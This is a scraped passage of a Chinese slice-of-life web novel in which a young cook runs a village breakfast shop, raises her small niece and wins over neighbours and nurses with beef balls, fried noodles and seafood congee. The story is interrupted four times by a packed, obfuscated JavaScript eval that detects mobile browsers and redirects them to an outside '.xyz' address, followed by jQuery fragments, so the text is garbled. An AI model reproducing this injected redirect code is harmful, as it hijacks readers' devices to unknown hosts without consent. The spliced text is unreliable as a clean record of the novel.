;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072311|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你这说的是实话,我生什么气?我要是有老板这手艺,我也去开店。” 梁橙橙吧砸一下嘴巴:“我明天还想来吃。”她还想吃这家店的辣椒酱,看着就很香,但是医生说她不能吃辣的,得忌口,梁橙橙真希望自己嘴角的伤明天就能好。 付钱时,梁橙橙看见在柜台后面画画的小卿宝:“妹妹,你画的是仙女吗?” 小卿宝脸有点红,指了指林阅棠,很不好意思地说:“我画的是小姨。” 梁橙橙看了看林阅棠:“我觉得你小姨长得确实很好看,跟仙女没区别,而且是会变出很多好吃东西的仙女!” 小卿宝用力点头:“没错的!” “嘿嘿,妹妹我走啦,拜拜。”梁橙橙跟她挥手。 客人离开后,林阅棠开始打扫,清完垃圾,她拉着小卿宝关上门,转头看见小姑娘望着自己,一副欲言又止地模样,她蹲下来问:“怎么了宝宝?” 小卿宝突然踮起脚,在林阅棠的脸颊上亲一口:“小姨,你是仙女。” 林阅棠愣了愣,反应过来后看着害羞躲在一旁的小卿宝笑了笑,伸手去抱她:“过来,让小姨也亲一口小小仙女。” 小卿宝咯咯咯笑。 两人一边打闹着,一边往菜市场的方向去。到了菜市场,林阅棠选了一条草鱼准备回去做糖醋鱼,然后又买了些青菜。 而这会儿,住院部的护士们也终于有了休息的时间。 “桐桐,你的饭。”一个护士在食堂帮大家带了饭回来。 乔桐桐吃两勺就不想吃了:“唉,没什么滋味,要是能配上老板做的小料就好了,那绝对香。”辣椒酱,酸豆角,辣椒圈……拌在米饭里别提多下饭了。 徐初雨的炒河粉还没吃,她拿去微波炉加热,打开盖子后香味不减,河粉吃起来软绵爽口,豆芽脆,牛肉片嫩,于是周围又是一圈咽口水的声音。 “初雨,你这个炒河粉也香了吧。” “而且居然一点都不油,求你分我一口可以吗?!” “早上桐桐问我要不要带粉我居然说不要!后悔后悔!” …… 护士们正在叽叽喳喳说着话,曹大姨经过闻见炒河粉的香气,喉咙滚动:“姑娘!你这炒河粉哪里买的?”真香啊,跟那个茶叶蛋一样香。 那护士喊乔桐桐过来,乔桐桐说:“阿姨,这家店在过红绿灯后往左一直走,有个叫圣沙村的牌坊,从那拐进去就到了,不过老板目前只做早餐,现在不知道还有没有营业呢。” “谢谢你啊姑娘,我去看看。”曹大姨快步走出医院。她孙子老是闹着不吃饭,这样下去可不是办法,这个炒河粉他肯定会喜欢吃,老天保佑要有开门啊。 等到了地方,曹大姨看着紧闭的门,叹了口气,只能先返回来。 她抱着哭闹着不吃饭的孙子说,“乖乖乖,明天一早奶奶带你去吃很香的炒河粉,比茶叶蛋还好吃的哦。” “奶奶又骗人!我才不相信呢!这世界上没有比蜘蛛侠蛋更好吃的东西了……呜呜呜,我要吃香香的蜘蛛侠蛋!”曹子涵说着说着,又哭了起来。 11. 11 从菜市场回来,林阅棠将杀好的鱼洗净,从两面切出细密的菱形花刀,再用姜葱料酒腌着。 另一口灶台上咕嘟嘟熬起糖醋酱,把腌好的鱼裹上淀粉,林阅棠拎起鱼尾往锅里一滑,油花立即沸腾起来,鱼皮在热油里炸出漂亮的菊花纹,熟透后她将鱼捞起来淋上琥珀色的酸甜酱汁。 小卿宝直咽口水:“小姨,这个鱼鱼会开花花呢。” “这个叫糖醋鱼哦。”林阅棠用筷子夹起一大块鱼肉,挑走上面的刺,放到小卿宝的碗里。 “谢谢小姨。”小卿宝低头开吃。 小孩子都喜欢吃油炸或者酸甜的东西。 这糖醋鱼两者都占了,小卿宝吃得摇头晃脑,嘴角还粘着一点汁:“小姨,糖醋鱼好好吃哦。” “好吃就多吃点,还有青菜也要多吃哦。”林阅棠又给小卿宝夹了菜。 小油菜口感清脆,林阅棠把蒜末剁得细细碎碎去炒,将油菜的土腥味都给炒掉了,小卿宝也是吃得停不下口。 吃完午饭,林阅棠陪小卿宝看了半小时动画片,因为担心她眼睛看坏,又带着她去三楼给小葱浇水,然后就接到招奶奶的电话。 “小棠,星星下班了,你现在有空把桌子搬到店里不?” “有的,我这就过去。”林阅棠带上小卿宝出门,刚下楼就看见陈星跟招奶奶抬了一张桌子过来。 林阅棠连忙把卷帘门拉上去:“招奶奶,您别动了,我来就好。” 招奶奶:“你可别瞧不起我,我力气大着呢,你梁奶奶的菜都是我帮忙抬上楼的。” 林阅棠笑着说:“您可真厉害,那句话怎么说来着……老当益壮!” 招奶奶:“那当然。” 林阅棠跟陈星继续去搬下一张桌子,陈星呼吸有些不匀地说:“小棠啊,没想到你力气还挺大。” 林阅棠抬起的这边比陈星抬的还要高一点,她一点也没喘气:“我当厨师的嘛,肯定体力要好。” 陈星:“也是。” 这时,一个阿婆经过,看了看他们,突然问:“小陈,你跟这姑娘是不是在拍拖。” 林阅棠一脸莫名其妙:“不是,阿婆,你误会了。” 陈星也连忙澄清:“赵婆,我这工作忙,没时间,也没打算找对象。” 赵婆子哦了一声,用打量货物的眼神上下扫看林阅棠:“你这姑娘有二十岁了吧,还不找对象再过几年就没人要了,要不你跟我儿子处处看,我明天让你们见个面。” 林阅棠满脸懵逼。 招奶奶叉腰过来开骂:“赵婆子,你那儿子比小棠大十多岁,长得歪瓜裂枣的还是个矮冬瓜,整天无所事事游手好闲,癞蛤蟆想吃天鹅肉啊你!” 赵婆子不服:“她带个拖油瓶我还没嫌弃呢。”自从小饭馆开张后,赵婆子就发现这家店生意不错,又看林阅棠长得还行,这才起了把她说给自己儿子的想法。她甚至觉得自己可以忍受她带个小孩,这已经很好了。 招奶奶呸一声:“哪来的脸啊你。” 陈星低声跟林阅棠说:“他儿子被带过去局里,因为有租客报警说发现他偷偷进自己屋里翻东西。” 林阅棠惊讶,看来村子里也不全都是好人。 赵婆子被招奶奶骂走了,林阅棠把桌子搬完,向他们道谢过后,又带着小卿宝去一趟菜市场。 市场外面有摆摊卖百货的,她多买了两把锁,然后进市场里逛了一圈,看见有新鲜的牛肉到货,牛肉刚分好的,看着鲜红血淋,她要了五斤后腿肉。 林阅棠又从杂货铺买了两把不锈钢棒锤。 回家后,林阅棠就用这玩意把牛肉砸打成泥,挑掉里头的肉筋,然后再加上各种调料反复捶打搅拌,再把肉泥挤到锅里面煮开,然后将定型完成的牛肉丸放进冰水里面降温。 这样做出来牛肉丸十分紧实美味。 她给小卿宝舀了一碗,还加了点炸过的蒜蓉进去,小家伙把碗喝得干干净净,最后一滴汤都要仰起头倒进自己的嘴巴里。 林阅棠又分出一袋子牛肉丸给招奶奶送去:“招奶奶,这是我自己做的牛肉丸,还有一碗牛肉汤,你可以直接喝,也可以用来煮面。” 招奶奶接过:“谢谢啊小棠,还麻烦你跑一趟。” 林阅棠笑着挥手:“不麻烦的,那我先回去了。” 招奶奶把牛肉丸跟汤放进锅里面,又往里头煮了两包华丰面。 陈星凑到碗上面用力闻:“好香啊。”他先喝一口汤,鲜美的滋味顿时在他舌尖绽放,瞬间感觉自己整个人的灵魂都展开了,牛肉丸更是又香又弹牙,还会爆汁,这是他从没尝过的口感。 “这牛肉丸可真好吃,不知道小棠店里上不上这个,要是上的话客人们可就有口福了。”招奶奶感慨道。 他们刚吃饱,陈大爷就回来了,闻着空气中残余的鲜味,看了看空荡荡的锅跟碗,他老脸委屈:“是小棠又送吃的来了吗?你们居然不留给我?” 招奶奶翻了个白眼:“谁让你不在家呢?小棠今天做的牛肉丸,可香了。” 一句话,让陈老爷子沉默了。向来热爱钓鱼的他此刻突然有些动摇……要是他没去钓鱼就好了,那他就能吃上牛肉丸了,跟牛肉丸比起来,钓鱼似乎也……没那么重要吧? 翌日,天光还不算太明亮,林阅棠从菜市场采购完回来,看见蹲在门外的陈大爷。 陈大爷蹲得腿都有点麻了,打着颤儿站起来:“小棠啊,店里有没有卖牛肉丸啊,你招奶奶昨晚一颗都没给我留,就剩了些香味给我闻,给我馋得睡不着觉。” 林阅棠听完无奈地笑了笑:“有的有的。” 她开门后,在黑板上写字。 ——牛肉丸汤(6颗),18元。 林阅棠走进后厨,锅里的牛肉汤一直保温着,她将火调大。 门外走进来一道身影,陈大爷看过去,哟,熟人:“老昌,我不是给你发语音,说了今天不那么早去钓鱼吗?” 昌大爷却摆手:“我不是来找你钓鱼的,我是来吃早餐的,咦,牛肉丸汤,小棠,你给我来一份这个吧。” 陈大爷哽住:“感情你是为了吃的那么早过来。” 昌大爷斜他一眼:“我看你比我还早啊。” 后厨的牛肉汤煮开,阵阵鲜甜勾人的香气飘散出来,两个钓鱼佬瞬间都不拌嘴了,眼巴巴望着,变成了钓丸佬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072312|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林阅棠把两碗汤端上来:“两位的肉丸汤。” 昌大爷对吃的研究挺深的,这汤香味非常舒服,牛肉丸底下还有清甜的白萝卜,光闻这味道他就知道香味来源于食材本身,一点科技与狠活都没有。 虽然已经做了心理准备,但昌大爷喝到汤的那一刻还是被狠狠地惊艳了一把! 太香了,香醇清透,舌尖上满是纯粹鲜甜的味道。 这牛肉丸也很劲道,伴随着咀嚼的动作,昌大爷满嘴的肉香味,吃到后面还有一股牛肉独有的奶香味:“真材实料的牛肉丸,跟我在潮市吃的一样正宗,小棠真是良心啊!” 陈大爷直接端起来喝汤,连连赞叹:“确实好吃。” 医院,住院部。 病房灯光明亮,曹子涵又在哭闹:“我不要在这里了,我要出去,这里一点都不好,没有滑滑梯,也没有好吃的,你们都是坏人,蜘蛛侠快来救我呜呜呜呜!” 子涵爸爸头都大了:“儿子啊,算爸求你了,别哭了,等下隔壁的哥哥被你吵烦了,他要报警叫警察来抓你走哦。” 隔壁被吵醒还不敢吱声的倒霉蛋社恐大学生:啊?我吗?你说我啊? 曹子涵哭得上气不接下气:“抓走就抓走吧,反正我不要在这里了呜呜呜……”噗,一个鼻涕泡破了。 子涵爸爸真是又气又心疼又觉得好笑:“妈,怎么办!” 曹大姨看一眼时间:“你抱上子涵,带他去个地方,去了他就不哭了。” 什么地方那么神奇?子涵爸爸疑惑地抱起儿子。 曹大姨带着子涵爸爸来到林阅棠的店门前,她看见菜单,脸上露出抓住救命稻草的喜悦:“老板,给我拿个茶叶蛋。” 林阅棠:“好的。” 茶叶蛋!子涵爸爸听见这三个字浑身一抖,自己一个人吃十个茶叶蛋的恐惧已经刻在灵魂里了,他下意识就想跑,但等看到老板递过来的鸡蛋时,他又一愣。 好一个让人十分有食欲的茶叶蛋啊,他甚至能看见清香的卤汁从鸡蛋缝隙中透出来,像一张深色的网包裹住茶叶蛋,难怪儿子老是说什么蜘蛛侠。 曹子涵的哭声也停顿了下来,他看见茶叶蛋,带着泪水笑了起来,拍拍手,清脆稚嫩的嗓音透着喜悦:“蜘蛛侠蛋蛋!真的是蜘蛛侠蛋蛋耶!” “对对对,来,赶紧吃吧。”曹奶奶给他剥了蛋壳喂到他嘴边。 子涵爸爸就看见自己无比挑食的儿子不用人求不用人哄,自己就捧着茶叶蛋大口大口地吃起来。 这时,乔桐桐带着徐初雨踏进店里,乔桐桐跟曹大姨对视上,两人互相点了点头打过招呼,她又去看小病人:“子涵,难得一次见你没有哭哦。” 曹大姨:“乔护士,还要多谢你跟我说这家店在哪,不然我都不知道该拿这孩子怎么办。” 乔桐桐说了声不用谢,然后转头去看菜单:“今天有新品!” 徐初雨有点近视,她眯起眼睛看:“牛肉丸汤,听起来不错,但是好贵哦,这样看一颗就要三块钱,我吃麻辣烫点的牛肉丸三块钱能买一串了。” 乔桐桐对林阅棠很信任:“我觉得老板做的牛肉丸肯定跟其他店的不一样。” 12. 12 徐初雨想了想,觉得有道理,忍痛也跟着来一份,最后她们点了两碗牛肉丸汤跟两个茶叶蛋,另外还要了一份炒河粉分着吃。 “这是我吃过最贵的早餐。”徐初雨都有点点小后悔了,这会不会太奢侈了! 等牛肉丸汤上来,徐初雨拿起勺子,挖起一颗牛肉丸,勺子里带着汤,她先把汤喝完,牛肉汤清透中又带着香浓的荤味,然后她咬了咬丸子,内里的肉汁便混着弹劲在口腔炸开,她满嘴都是醇厚的肉丸香味。 这是牛肉丸? 原来牛肉丸是这样非常弹牙有力的口感? 原来电影里演的能把牛肉丸当乒乓球来打是真的!? 那她之前吃的那些软绵绵、满是粉粉口感的麻辣烫牛肉丸算什么?! 刚刚还觉得牛肉丸贵的徐初雨当场改变了想法,这一点都不贵,这简直太值了! “你蘸点这个酱尝尝,绝了!”乔桐桐用牛肉丸去蘸沙茶酱再送进嘴巴里,直接香得天灵盖起飞。 曹子涵眼睛滴溜溜看着她们的牛肉丸,拉长了小奶音:“爸爸,我想吃那个。” 子涵爸爸也挺想吃的,于是点了三碗牛肉丸汤,然后坐下来吃,曹子涵甚至不用奶奶去喂,自己用没受伤的手拿起勺子:“我可以自己吃哦。” 子涵爸爸低头先喝汤,热流顺着喉咙拂过四肢百骸。他被儿子折腾一晚上头晕脑胀,这会儿喝上一口汤,整个人都舒服了许多,比什么咖啡浓茶的功效还要强。 曹子涵吃得满嘴油光,牛肉丸含肉量挺高的,他全都吃完了,连平时不喜欢的白萝卜也吃得干干净净,因为他觉得好香啊,甜甜的,真好吃。 他意犹未尽地舔着唇:“还想吃。” 曹大姨摸了摸他的肚子:“唉哟小祖宗,你看看你这肚子都成西瓜了,可不能再吃了。” “老板,付钱。”子涵爸爸去给钱,曹子涵突然哒哒哒跑过去,站在林阅棠面前,仰着头,“老板,我给你当小孩好不好?我想留在这里吃饭。” 林阅棠、子涵爸爸、曹大姨:“!!!” 昌大爷都笑了:“你这小孩倒是会打算盘,不过你这小胳膊歪歪的能卖几个钱?” 大人们知道这是开玩笑,但是小孩不觉得,小卿宝紧紧攥住林阅棠的衣角,她害怕有了别的小孩,小姨就不能养她了。 林阅棠看出她的心思,连忙握住小卿宝的小手,跟曹子涵轻笑着说:“不好意思哦小朋友,我们这里已经有小孩啦。” 小卿宝连忙挺了挺胸口,嗯嗯,就是我哦,小姨已经有宝宝这个小孩子啦。 曹子涵难过得垂头丧气。 “好啦好啦,走啦。”子涵爸爸脸上的带着臊意抱起儿子赶紧离开。 牛肉丸汤十分畅销,几乎每个进来的客人都点了,不过牛肉丸数量有限,现在只剩下四颗凑不够一碗,林阅棠就把黑板上牛肉丸暂时划掉。 身后的顾客心都在滴血:“老板,以后还会有吗?” 林阅棠点头:“有的,下次我多准备点。” 顾客:“那我今天吃炒河粉吧。” 都是牛肉,暂时替代一下好了,下回他一定要早点来抢到牛肉丸汤! 到了十二点多,等最后一位客人吃完离开,林阅棠开始收拾,又过了一会儿,外头手拉手跑进来两个身影。 “柠檬我跟你说,这家店的东西超级好吃的!”梁橙橙的嗓音清脆响亮,“老板,给我们两份炒河粉吧。” 林阅棠从后厨探出半个身子:“抱歉啊,炒河粉没有了。” “那,那炒米粉呢?” “也没有了,全都买完了。” 梁橙橙一副天塌了的表情:“老板,你这里生意也太好了吧。” 小卿宝抬头看见梁橙橙,想起来是那个说小姨是仙女的姐姐呢,于是对她笑了笑。 梁橙橙也看见小卿宝,小卿宝长得可爱,很讨人喜欢,她掏出两颗巧克力糖递过去:“妹妹,请你吃。” 小卿宝看一眼林阅棠,见林阅棠点点头,她才伸出手去拿:“谢谢姐姐。” 梁橙橙:“哎呀你真乖。” 张佳柠也给小卿宝看自己书包上的小玩偶挂件。 林阅棠看着三个小姑娘:“要是你们不介意,我再去菜市场给买点食材给你们煮个面吃,就算我请客,可以吗?” 梁橙橙开心得跳起来:“真的吗!谢谢姐姐!你真好!” 林阅棠扫了一辆单车去菜市场,这会儿菜市场的东西也卖得差不多了,猪肉档的老板说:“都没啦,就剩下这些猪杂。” 林阅棠看着猪杂挺新鲜的,就让老板帮自己包起来。 等她到店里,看见梁橙橙她们还帮自己打扫了卫生,店里干干净净的,她走进厨房:“河粉也没多少了,我跟米粉一起煮,给你们做个双拼猪杂汤粉吧。” 梁橙橙狂点头:“我们有得吃就行。” 林阅棠把剩下四颗牛肉丸对半切,表面划个井字用牛肉汤煮开,然后将处理好的猪杂放下去烫了烫迅速断生,再把热汤浇在煮软的粉上面,香气瞬间四溢飘散。 清淡的猪杂汤鲜味层层叠叠,猪杂也很脆口很嫩滑,而且没有一点腥味,夹起来的粉里挂满汤汁,三个小姑娘都吃得满头大汗。 张佳柠嘴唇红红,她抬脸呼呼气,看见玻璃罐里的色泽诱人的辣椒酱,小声问道:“姐姐,我可以加点这个吗?” 林阅棠:“当然可以。” 梁橙橙:“我也要!” 林阅棠说:“你嘴上的伤还没好,不能吃辣哦。” 梁橙橙非常遗憾地收回手,不过还好汤足够鲜美,就算不用辣椒酱也很有滋味。 林阅棠煮得很大份,梁橙橙连汤都喝干净了,整个人饱得走不动道,她靠在椅子上休息了好久,直到接到她外婆的电话。 “姐姐,我们要走啦。”梁橙橙跟林阅棠还有小卿宝挥手,两个小姑娘走的时候还顺手把门口两袋子垃圾也拿去扔了。 小卿宝将梁橙橙分给她的糖果给了林阅棠一颗:“小姨,我们一人一颗。” “谢谢宝宝~”林阅棠觉得这巧克力糖还挺好吃的,一看包装,是本地一家大型品牌超市自己出,她用手机查了一下这个超市,发现旁边的商圈还有个游乐园。 她又看了看小卿宝,她含着巧克力糖,又乖又可爱。 小家伙应该很久没有去过游乐园了吧…… 翌日,天光微亮,小卿宝自己刷好牙牙,用她的小毛巾擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072313|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净小脸蛋,走出看见林阅棠还在厨房里,于是歪着小脑袋看她,眼里还带着一些疑惑。 林阅棠笑着将两碗云吞端到餐桌上,“今天小姨不营业了,带你出去玩好不好?” 小卿宝眼睛顿时亮起来:“真的吗?太好啦,小姨,你真好!” “先吃早餐,吃完我们就去。” 碗里的云吞皮薄得可以看见里头鲜粉饱满的馅料,绝对称得上皮薄馅足,飘在清汤上像一只只吃得浑圆的摇尾小金鱼,这都是林阅棠买了肉馅回来调味自己动手包的。 小卿宝吃云吞先吃“尾巴”,她把下边的云吞皮吸进嘴巴里,然后再一口咬掉云吞,双颊鼓鼓的:“好好次~” 吃完早餐,林阅棠给她漱了漱口。 两人先去游乐园玩,然后就去逛超市,林阅棠推着购物车,先是买了些零食糖果,又给小卿宝买了两身衣服。 超市有一层专门售卖文具书籍,小卿宝很喜欢看书,她对一套带图画的格林童话集爱不释手,林阅棠直接帮她买了。 小家伙开心得不行,一路上蹦蹦跳跳:“小姨,晚上轮到我给你讲故事。” 一只幼儿园学历的小豆丁哪里认识字,小卿宝说的讲故事就是指着一幅画自己编这是什么故事,林阅棠笑着点头:“好啊。” 来到海鲜区,林阅棠买了两只螃蟹,半斤虾,一条鱿鱼,又去隔壁挑了一根猪骨,将一把芹菜放进购物车里去结账。 买的东西有点多,林阅棠选择打车回去。 车子刚拐进村口,她透过车窗看见有个男人在她店门口,看起来鬼鬼祟祟。 林阅棠瞬间警惕起来,下车后,她将小卿宝拉到身后,那男人也转过身,看见她之后,瞪大眼睛。 “老板!你今天怎么没开门!” 林阅棠:“……”啊? 她仔细看着男人的脸,有点印象:“今天休息,我不是挂了牌子嘛。” 陈柏涛表示:“老板,你要休息几天?没有你的早餐我真的不行啊,我今天干活都没劲了!救命啊老板!” 这也太夸张了吧,林阅棠汗颜了一下:“明天就开门。” 陈柏涛这才松口气:“太好了老板,明天一定要营业啊,好多人等你做的东西续命呢!” 林阅棠很无奈,明明是自己开店,但怎么硬是干出了上班打卡的感觉? 林阅棠摇摇头走上二楼,她先把米用温热的水泡上,还往里面加了两滴香油。 猪骨洗干净放去熬汤,紧接着她又手脚麻利地将虾背去头去线,花蟹砍成块,鱿鱼片出花纹。 等汤炖好,林阅棠就用猪骨汤来熬粥,将所有食材放进去,砂锅里的粥咕嘟冒泡,她转成小火,用蒜蓉葱头淋上被食用油煮开的生抽调一个咸香的酱汁,等下可以用来蘸猪骨。 海鲜粥的香味逐渐变得浓烈馥郁,招奶奶家跟林阅棠家就隔着一个平房,可以说是毫无遮挡,香味就这么飘散过去。 陈大爷今天在家,他抽动鼻子走到阳台:“真香啊,肯定是小棠又在做什么好吃的。” 招奶奶:“是挺香的。” 陈大爷直吞口水,肚子像打鼓一样响了起来。 招奶奶:“……你能不能有点出息。” 13. 13 时间差不多了,林阅棠去厨房关火,瞥见对面阳台上两位老人正探头张望,笑着招呼:“招奶奶,你们吃晚饭了吗?我煮了锅海鲜粥,要不一起尝尝吧。” 陈大爷喉头一动,嘴上却推辞:“这怎么好意思……”一股风裹着粥香掠过鼻尖,他接下来的话愣是被香得说不出口。 林阅棠:“没事,我煮了不少。” 陈大爷:“那,那我们就过去了,走吧老婆子。” 小卿宝去给招奶奶开门,招奶奶摸了摸小姑娘的脑袋,一进门就揭了陈大爷的短:“你煮粥的时候他就一直趴在阳台闻,我真是没眼看。” 林阅棠笑着拿来碗:“那我先给陈爷爷添一碗,别给他馋坏了。” 掀开砂锅盖,米香混着海鲜的鲜香味涌了出来,微沸的粥面滚着浓郁的蟹膏色泽,金红的鲜虾仁、莹润的鱿鱼卷,再混着一把刚撒下去青翠欲滴的芹菜碎,这香味与卖相都是顶顶的。 陈大爷陶醉地闻了闻,那么热乎的一碗粥,眨眼功夫他就喝了大半碗:“小棠啊,你的手艺真是没得说的,你要是去杨记做大师傅,肯定也能赚很多钱,而且只要掌勺就行,会轻松很多。” “开店不算很累,而且比较自由,我还是更喜欢这样。” 这点工作量对于林阅棠来说真不算啥,上辈子她一到暑假就跟着四位师傅做流水席,那真是从早忙到晚,脚都不沾地的,但每次结束之后,她都会有种很满足的感觉。 脑子是越用越好的,精力跟体力也是。 “个体户也不错的,”招奶奶一边喝一遍琢磨,“小棠,你这粥到底怎么熬的,怎么味道能那么鲜,而且颜色也漂亮,看着就很有食欲。”浓粥满是融融膏香,让人恨不能连舌头都一起吞进肚子里。 林阅棠说:“我在里面加了花生酱。” 招奶奶惊讶,又连续喝几口:“我没有尝到花生酱的味道啊。” 林阅棠笑着说:“花生酱只是让粥底提鲜,不会有味道的,我还会把虾头用油炒一炒,然后搅在粥里一起煮。” 一勺花生酱,再加上虾头虾油,这海鲜粥的底味就有了,只要不买到坏掉的海鲜,这锅海鲜粥绝对难吃不到哪里去。 陈大爷又重新添一碗粥,还拿出手机拍照片,在微信上发出去:“老昌,你看这个。” 昌老爷子回复得飞快,是用语音发的,一点开全屋子的人都听见了:“这是哪家店的海鲜粥?这色泽的,这质地……你居然藏着这种好东西,快点把地址发过来,我今天一定要尝到!” 陈大爷乐呵呵地回他:“是小棠煮的,就这么一锅,她请我喝的,你别惦记了,吃不上的。” 陈大爷的微信叮叮咚咚响个不停,全是昌大爷发来的六十秒语音。 点开第一段,开头就是一句亲切的问候“你个扑街——”。 陈大爷赶紧退出微信,双手捧起碗美滋滋继续喝粥。啧啧,配上老昌的羡慕嫉妒恨,这粥喝起来更香更鲜甜了。 林阅棠又给每人面前放上一小碟酱料用来蘸大骨肉。 猪大骨被炖得很烂,上面的肉轻易就剥了下来,沾一点酱趁着那热乎劲吃进嘴巴里,香得让人直跺脚,只恨为什么这筒骨的肉那么少。 陈大爷把骨头上肉啃得干干净净,要不是这是在别人家,他还要用舌头把骨头都给舔一遍。 小卿宝是小孩子就没有面子这种烦恼了,两只小手捧着骨头吃得直迷糊。 林阅棠还帮她将筒骨里的骨髓挑出来,这块才是精华啊,口感糯滑满满脂香,小卿宝没吃够,最后还抱着骨头在那里嘬,贪吃可爱的模样把几个大人都逗笑了。 吃完饭,林阅棠把两位老人送到楼下,招奶奶喊她等一等,过了一会儿,从她屋里头捧着一串黄皮过来。 林阅棠也没有推辞,收下了。 黄皮酸酸甜甜特别解腻,林阅棠跟小卿宝一起吃,电视上正播着小哪吒,等是他是他的片尾曲出来了就关掉电视要去睡觉啦。 “有时他很聪明~有时他也犯傻~他的个头跟我一般高~”小卿宝刷完牙哼着歌自己爬上床,她乖乖拉上被子把自己盖好,“小姨,晚安~” “晚安~”林阅棠帮她关了灯,也去洗澡睡觉。 第二日清晨,小鸟叽叽喳喳叫着。 林阅棠开门营业,陈柏涛是最早来的,步子还没跨进门,声音就迫不及待响起。 “老板,我要炒牛河跟牛肉丸汤。” “行,请稍等一下。”林阅棠洗了个手,就把灶台打开,锅里原汁原味的牛肉汤开始慢慢升温,香味飘散出去,没过一会儿,店里就又进来两三位客人。 等两份早餐都上来了,陈柏涛先喝一口汤,紧接着大口狂炫锅气满满的炒河粉,吃得吸溜吸溜的,最后把弹牙爆汁的牛肉丸全吃掉,满足地呼出气:“舒服!人呐,还是要吃点这种美味才有力气讨生活嘛。” 昌大爷家里。 昌大爷儿媳妇的视线从门外收回来,拽了拽自己丈夫袖子:“你没发现爸最近出门越来越早了吗?” 昌大爷儿子说:“爸不是一直都那么积极出门吗?他要去钓鱼啊。” 儿媳妇摇摇头:“不是啊,你看他鱼竿都没拿,早餐也没吃,而且以前爸去钓鱼时那神情都是很从容的,可是这几天他出门总是火急火燎,好像有什么很重要的事情……我是担心他去做不好的事情,比如说碰上传销或者赌博之类的。” 儿子顿时一个激灵:“那,那咋办?对啊,平时爸很喜欢聊钓鱼的事情,最近他都不怎么说了。” 儿媳妇说:“再看看吧,如果还是这样,我们就跟踪爸,看看到底是怎么回事,要不要报警。” 儿子也想不出主意,就点点头:“老婆,我都听你的。” 此时,昌大爷终于来到店里,他一进门,上下扫看菜单,没有海鲜粥,颇感遗憾,只能点碗牛肉丸汤安慰一下自己。 “小棠,以后会卖粥吗?”昌大爷还是念念不忘,“都怪老陈这家伙特意给我拍海鲜粥的照片,我又喝不上,给我难受得魂都丢了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072314|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。” 林阅棠想了想:“我考虑考虑,看看能不能安排上吧。” 昌大爷像闻见鱼饵的鱼,开心道:“好好好。” 时间来到十一点,林阅棠在厨房扫看一圈剩下食材,也不多了。 其实她每天准备的食材都要比昨天多一点,但是卖完的时间永远比前一天更早。 因为每个来店里的食客都成了回头客,然后每天又有新的客人源源不断加入。 不够卖,根本不够卖! 陈柏涛很早就吃完早餐,这个点他又来到店里:“老板,有还有没有炒米粉。” “刚好剩下最后一份了。”林阅棠把全部配菜都下锅里。 陈柏涛一口气干完这碟超大份的炒米粉,他起身去给钱,这时,林阅棠的手机刚好响了一下,她拿起来看,表情露出点思索。 陈柏涛好奇问道:“怎么了老板?出什么事了吗?” 陈柏涛不是八卦的人,他是担心林阅棠这边有啥事,然后小饭馆就没法开了,小饭馆没营业,那他还怎么活啊!? 林阅棠摇摇头:“没什么,就是粉店的老板问我要不要粿条。” 林阅棠一直在一家粉店买的河粉,为了方便订货,双方还加上微信。 陈柏涛眼前一亮:“粿条?我之前吃宵夜点过湿炒粿条,看那个产品图我是挺期待的,但是吃到的时候觉得一般般,不过老板你做的话我肯定支持。” 林阅棠说:“湿炒粿条确实很好吃,我看看能不能找到合适的碗吧。” 店里现在有两种碗,一种就是牛肉丸汤用的那种碗,一种是炒粉用的碟子,湿炒粿条汁挺多的,用碟子盛的话肯定会漏,但是用汤碗又不至于,看起来也不美观。 她得找个时间去重新买一批碗才行。 而陈柏涛听见林阅棠的话之后,脸上顿时大喜:“老板,你找我啊,我就是卖碗的。” 陈柏涛的淘宝店专门出售各种餐具,他在手机里面翻翻找找,将一个产品图递给林阅棠看:“老板,你看这个碗合适吗?” 林阅棠看了一眼,还真是挺合适的:“那你这个怎么卖?” 陈柏涛报出了一个价格。 林阅棠:“你这比批发市场卖得还便宜啊,你有赚吗?” 